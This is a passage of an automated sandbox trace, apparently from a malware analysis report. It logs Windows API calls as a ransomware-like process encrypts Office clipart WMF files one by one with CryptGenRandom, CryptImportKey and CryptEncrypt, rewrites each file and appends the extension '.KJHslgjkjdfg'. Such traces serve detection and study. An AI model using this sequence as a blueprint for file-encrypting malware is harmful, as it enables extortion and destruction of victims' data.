pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.290] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.290] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0232.293] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.293] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.293] GetProcessHeap () returned 0x2ef0000 [0232.293] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.293] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.293] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.293] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.293] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.293] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.293] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.294] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.294] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.294] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.294] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.294] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.294] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x36aa, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x36aa, lpOverlapped=0x0) returned 1 [0232.295] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x36b0, dwBufLen=0x36b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x36b0) returned 1 [0232.295] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.295] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x36b0, lpOverlapped=0x0) returned 1 [0232.295] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.296] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.296] SetEndOfFile (hFile=0x130) returned 1 [0232.298] GetProcessHeap () returned 0x2ef0000 [0232.299] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.299] GetProcessHeap () returned 0x2ef0000 [0232.299] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.299] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf.kjhslgjkjdfg")) returned 1 [0232.300] CloseHandle (hObject=0x130) returned 1 [0232.301] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc775b700, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc775b700, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x32f6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00018_.WMF", cAlternateFileName="")) returned 1 [0232.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.302] GetProcessHeap () returned 0x2ef0000 [0232.302] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.302] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.302] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.302] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0232.305] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.305] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.305] GetProcessHeap () returned 0x2ef0000 [0232.305] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.305] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.305] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.305] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.305] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.305] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.305] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.305] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.306] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.306] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.306] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.306] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.306] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x32f6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x32f6, lpOverlapped=0x0) returned 1 [0232.307] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3300, dwBufLen=0x3300 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3300) returned 1 [0232.307] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.307] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3300, lpOverlapped=0x0) returned 1 [0232.307] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.308] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x33d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.308] SetEndOfFile (hFile=0x130) returned 1 [0232.311] GetProcessHeap () returned 0x2ef0000 [0232.311] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.311] GetProcessHeap () returned 0x2ef0000 [0232.311] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.311] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf.kjhslgjkjdfg")) returned 1 [0232.313] CloseHandle (hObject=0x130) returned 1 [0232.313] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x419f3f00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x419f3f00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x7a80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00152_.WMF", cAlternateFileName="")) returned 1 [0232.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.314] GetProcessHeap () returned 0x2ef0000 [0232.314] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.314] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.314] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.314] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.314] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.314] GetProcessHeap () returned 0x2ef0000 [0232.314] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.315] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.315] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.315] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.317] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.318] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.318] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.318] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.318] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.318] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.318] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.318] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.318] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7a80, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7a80, lpOverlapped=0x0) returned 1 [0232.325] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7a80, dwBufLen=0x7a80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7a80) returned 1 [0232.326] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.326] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7a80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7a80, lpOverlapped=0x0) returned 1 [0232.326] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.326] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.327] SetEndOfFile (hFile=0x130) returned 1 [0232.336] GetProcessHeap () returned 0x2ef0000 [0232.336] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.336] GetProcessHeap () returned 0x2ef0000 [0232.336] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.336] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf.kjhslgjkjdfg")) returned 1 [0232.338] CloseHandle (hObject=0x130) returned 1 [0232.338] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35bab100, ftCreationTime.dwHighDateTime=0x1bf3bda, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35bab100, ftLastWriteTime.dwHighDateTime=0x1bf3bda, nFileSizeHigh=0x0, nFileSizeLow=0x4754, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00157_.WMF", cAlternateFileName="")) returned 1 [0232.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.395] GetProcessHeap () returned 0x2ef0000 [0232.395] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.395] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.395] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.395] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0232.398] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.398] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.398] GetProcessHeap () returned 0x2ef0000 [0232.398] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.398] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.398] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.398] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.398] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.398] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.399] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.399] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.399] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.399] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.399] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.399] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.399] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4754, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4754, lpOverlapped=0x0) returned 1 [0232.401] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4760, dwBufLen=0x4760 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4760) returned 1 [0232.402] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.402] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4760, lpOverlapped=0x0) returned 1 [0232.402] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.402] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.402] SetEndOfFile (hFile=0x130) returned 1 [0232.405] GetProcessHeap () returned 0x2ef0000 [0232.405] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.405] GetProcessHeap () returned 0x2ef0000 [0232.405] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.406] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf.kjhslgjkjdfg")) returned 1 [0232.408] CloseHandle (hObject=0x130) returned 1 [0232.408] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e388d00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e388d00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00159_.WMF", cAlternateFileName="")) returned 1 [0232.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.413] GetProcessHeap () returned 0x2ef0000 [0232.413] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.413] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.413] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.414] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0232.417] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.417] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.417] GetProcessHeap () returned 0x2ef0000 [0232.417] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.417] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.417] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.417] 